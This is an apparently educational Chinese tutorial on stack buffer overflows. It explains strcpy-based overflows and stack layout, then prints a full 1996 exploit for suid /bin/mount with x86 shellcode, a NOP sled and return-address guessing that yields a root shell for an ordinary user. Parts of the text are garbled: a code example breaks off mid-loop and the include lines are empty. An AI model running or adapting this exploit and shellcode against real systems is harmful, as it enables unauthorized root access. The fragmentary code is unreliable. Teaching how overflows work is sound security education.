1.什么是缓冲区溢出? ~~~~~~~~~~~~~~~~~~~ buffer overflow,buffer overrun,smash the stack,trash the stack, scribble the stack, mangle the stack,spam,alias bug,fandango on core, memory leak,precedence lossage,overrun screw... 指的是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。 造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。例如下面程序:
example1.c ---------------------------------------------------------------------- void function(char *str) { char buffer[16];
strcpy(buffer,str); } ----------------------------------------------------------------------
上面的strcpy()将直接吧str中的内容copy到buffer中。这样只要str的长度 大于16,就会造成buffer的溢出,使程序运行出错。存在象strcpy这样的问题的标准函数还有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循环内的 getc(),fgetc(),getchar()等。当然,随便往缓冲区中填东西造成它溢出一般只会出现Segmentation fault 错误,而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。请注意,如果没有特别说明,下面的内容都假设用户使用的平台为基于Intelx86 CPU的Linux系统。对其它平台来说,本文的概念同样适用,但程序要做相应修改。
2.制造缓冲区溢出 ~~~~~~~~~~~~~~~~ 一个程序在内存中通常分为程序段,数据端和堆栈三部分。程序段里放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中,它们的位置是:
+------------------+ 内存低端 | 程序段 | |------------------| | 数据段 | |------------------| | 堆栈 | +------------------+ 内存高端
当程序中发生函数调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存器(IP)中的内容做为返回地址(RET);第三个放入堆栈的是基址寄存器(FP);然后把当前的栈指针(SP)拷贝到FP,做为新的基地址;最后为本地变量留出一定空间,把SP减去适当的数值。以下面程序为例:
example2.c ---------------------------------------------------------------------- void function(char *str) { char buffer[16];
strcpy(buffer,str); }
void main() { char large_string[256]; int i;
for( i = 0; i #include #include #include #include
#define PATH_MOUNT "/bin/umount" #define BUFFER_SIZE 1024 #define DEFAULT_OFFSET 50
u_long get_esp() { __asm__("movl %esp, %eax");
}
main(int argc, char **argv) { u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL;
int i; int ofs = DEFAULT_OFFSET;
buff = malloc(4096); if(!buff) { printf("can't allocate memory\n"); exit(0); } ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell)); ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i strlen(execshell);i++) *(ptr++) = execshell[i];
addr_ptr = (long *)ptr; for(i=0;i (8/4);i++) *(addr_ptr++) = get_esp() + ofs; ptr = (char *)addr_ptr; *ptr = 0;
(void)alarm((u_int)0); printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n"); execl(PATH_MOUNT, "mount", buff, NULL); }
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程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将获得一个具有root权限的shell。
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